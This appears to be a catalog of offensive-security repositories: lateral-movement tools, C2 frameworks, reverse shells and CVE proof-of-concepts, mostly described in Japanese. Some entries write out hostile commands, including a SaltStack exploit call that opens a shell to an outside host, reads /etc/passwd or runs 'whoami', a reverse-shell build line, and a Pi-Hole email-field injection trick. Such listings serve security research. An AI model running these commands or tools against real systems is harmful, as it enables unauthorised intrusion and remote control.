SCShell

SCShell SCShellは、ChangeServiceConfigAに依存してコマンドを実行するファイルレスな水平移動ツールです。このツールの優れた点は、SMBに対して認証を行わないことです。すべての処理はDCERPCを介して行われます。 このユーティリティは、サービスを登録したり作成したりせずにリモートで使用できます。また、リモートシステムにファイルをドロップする必要もありません（使用する手法に依存します）。 動作の仕組み サービスを作成する代わりに、ChangeServiceConfigA APIを介して単純にリモートでサービスを開き、バイナリパス名を変更します。...

CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ

InSAT MasterSCADA BUK-TS - 認証不要のRCE CVE-2026-22553 | CVSS 9.8 重大 | エクスプロイト作成者 Mohammed Idrees Banyamer 📝 説明 InSAT MasterSCADA BUK-TS にはMMadmServ Webインターフェースに認証不要のOSコマンドインジェクション の脆弱性があります。この欠陥により、リモート攻撃者は認証なしで完全なリモートコード実行（RCE）を達成できます。 影響を受ける製品 : InSAT MasterSCADA BUK-TS 全バージョン 脆弱性タイプ :...

CVE-2026-48800-PoC

CVE-2026-48800 — Notepad++ 任意コード実行 PoC 深刻度: High | 影響を受けるバージョン: Notepad++ ≤ 8.9.6 | パッチ適用済み: v8.9.6.1 CVE-2026-48800 の PoC スクリプト。Notepad++ ≤ 8.9.6 における shortcuts.xml 経由の任意コード実行の脆弱性です。 詳細な技術情報は、公式セキュリティアドバイザリ を参照してください。 使用方法 python cve-2026-48800.py 実行後の発動方法: Run → Command Injection Demo 期待される結果:...

CVE-2025-54100

CVE-2025-54100 – PowerShell レスポンス解析 PoC CVE-2025-54100 が悪意のあるHTML解析を介してWindows PowerShell 5.1でリモートコード実行（RCE）を引き起こす方法を示す簡潔な概念実証（PoC）です。 目次 CVE-2025-54100とは？ PoCの仕組み クイックスタート 被害ホストからのトリガー トラブルシューティングと確認 証拠 緩和策 免責事項 参考文献 CVE-2025-54100とは？ タイプ: -UseBasicParsingを使用しない...

sak1to-shell

sak1to-shell Multi-threaded, multi-os/platform Linux/Windows c2 server and Windows reverse TCP shell client both written in C. Compiling reverse TCP shell client with i686-w64-mingw32-gcc: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sectio...

CVE-2026-76146

An OS command injection vulnerability in Genian SSL PNS allows an attacker who knows only the client access ID, without the password, to execute arbitrary commands remotely...

nuclei-wordfence-cve

Nuclei + Wordfence = ♥ 84,445 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...

TimeAfterFree

TimeAfterFree PHP 8 サンドボックスエスケープ PoC。Unix系システムにおけるdisablefunctionsのバイパスを実証します。 このエクスプロイトは、use-after-freeバグを利用してdisablefunctionsをバイパスし、システムコマンドを実行します。ヒープポインタの漏洩や読み取り/書き込みプリミティブの取得に使用されるエクスプロイト技術は、DateIntervalオブジェクトを利用しています。...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 の PoC var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2026-54088-poc

CVE-2026-54088: 認証フックのシェル置換によるコマンドインジェクション（認証前 RCE） English version 概要 このリポジトリは、File Browser のバージョン = 2.63.5 に存在する重大な OS コマンドインジェクション脆弱性 CVE-2026-54088 の Proof of Concept PoC です。 この脆弱性は Hook Authentication 機能に存在します。管理者が外部コマンドでユーザー認証を行うよう File Browser を設定している場合、ログイン時に送信された username と password...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE脆弱性 CVE-2023-28343 中国語名: Altenergy Power System Control Software settimezone リモートコマンド実行の脆弱性（CVE-2023-28343） CVSS スコア:9.0 説明 : Altenergy Power System Control Softwareは、Altenergy Power System製のマイクロインバータ制御ソフトウェアです。 影響 : Altenergy...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

WMImplant

WMImplant WMImplant は、WMI を活用して対象マシンに対するアクションを実行するだけでなく、C2 チャネルとしてコマンドの発行と結果の受信を行う PowerShell ベースのツールです。WMImplant は対象マシン上でローカル管理者権限が必要になる可能性があります。 開発者: @christruncer WMImplant 機能: メタ関数 changeuser - WMI コマンドを実行するユーザーコンテキストを変更します exit - WMImplant を終了します gencli - 非対話的に WMImplant...

MSSqlPwner

MSSqlPwner MSSqlPwnerは、MSSQLサーバーにシームレスにインタラクトし、攻略するための高度で多用途なペンテスティングツールです。 このツールはimpacketに基づいており、攻撃者は平文パスワード、NTLMハッシュ、Kerberosチケットを使用してデータベースに認証できます。 MSSqlPwnerを使用すると、カスタムアセンブリ、xpcmdshell、spoacreate（OLE Automation Procedures）などのさまざまな方法を通じてカスタムコマンドを実行できます。...

pwnflow

Pwnflow 🎯 セキュリティテストと分析の旅を可視化 Pwnflowは、サイバーセキュリティ専門家向けに設計されたマインドマッピングプラットフォームです。セキュリティテストの方法論を可視化、追跡、共有しながら、機密データを完全に制御できます。 🚀 主な機能 コア機能 🗺️ インタラクティブなマインドマップ : 直感的なビジュアルインターフェースで複雑なセキュリティテストワークフローを作成・ナビゲート 🤖 AI搭載アシスタンス : 統合されたAI機能でノードの提案を生成し、方法論を拡張 📋 コマンドテンプレート : 変数置換に対応したCLIコマンドを保存して再利用 📊 進捗トラッキング ...

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

CVE-2026-49179: Active Directory WriteSPNScript Command Injection Summary Field| Value ---|--- CVE ID| CVE-2026-49179 CVSS| 8.8 AV:N/AC:L/PR:L/UI:N CWE| CWE-77 Command Injection Affected Component| ntdsai.dll — WriteSPNScript function Affected Systems| Windows Server 2016, 2019, 2022, 2025...

NetworkAlarm

NetworkAlarm ローカルネットワークトラフィックを監視し、潜在的なセキュリティ脆弱性を検出するコマンドラインツール。nmapスキャン、Niktoスキャン、平文で送信された資格情報、平文で送信されたクレジットカード番号、Shellshock攻撃に対する警告をユーザーに通知します。現在、ライブ監視とネットワークキャプチャ（pcap）スキャンをサポートしています。 脆弱性監視 nmapスキャン NULL、FYN、XMASステルス攻撃から保護 注: ステルス性のないスキャンは保護対象外です。サーバーログでスキャンの有無を確認してください Niktoスキャン...

dismap

🌀 Dismap - Asset discovery and identification tool 中文 Readme Dismap positioning is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks. It assists red...

octohook

octohook C2 用 Git Web フックトンネル インストール apt-get update && apt-get upgrade -y apt-get install python3-pip git -y pip install --upgrade pip pip install virtualenv virtualenv -p python venv . venv/bin/activate git clone https://github.com/dsnezhkov/octohook pip install prompttoolkit PyGithub bottle...

CVE-2019-13051

Pi-Hole /tmp/pocproof.txt"@example.com 10 分钟内，一个由 root 拥有、内容为“test”的文件将以 root 权限在“/tmp/pocproof.txt”中创建。 为了执行任何更有意义的攻击，还需要绕过空格的限制（空格不是有效的电子邮件字符，会被 FILTERVALIDATEEMAIL 函数捕获）。为此，利用了 Linux 内部变量 $IFS（在大多数 Unix 操作系统中默认为空格）。 PoC： 注意：这可以使用 POSIX shell 语法（即 &&、|| ...）通过单行命令实现自动化。 1...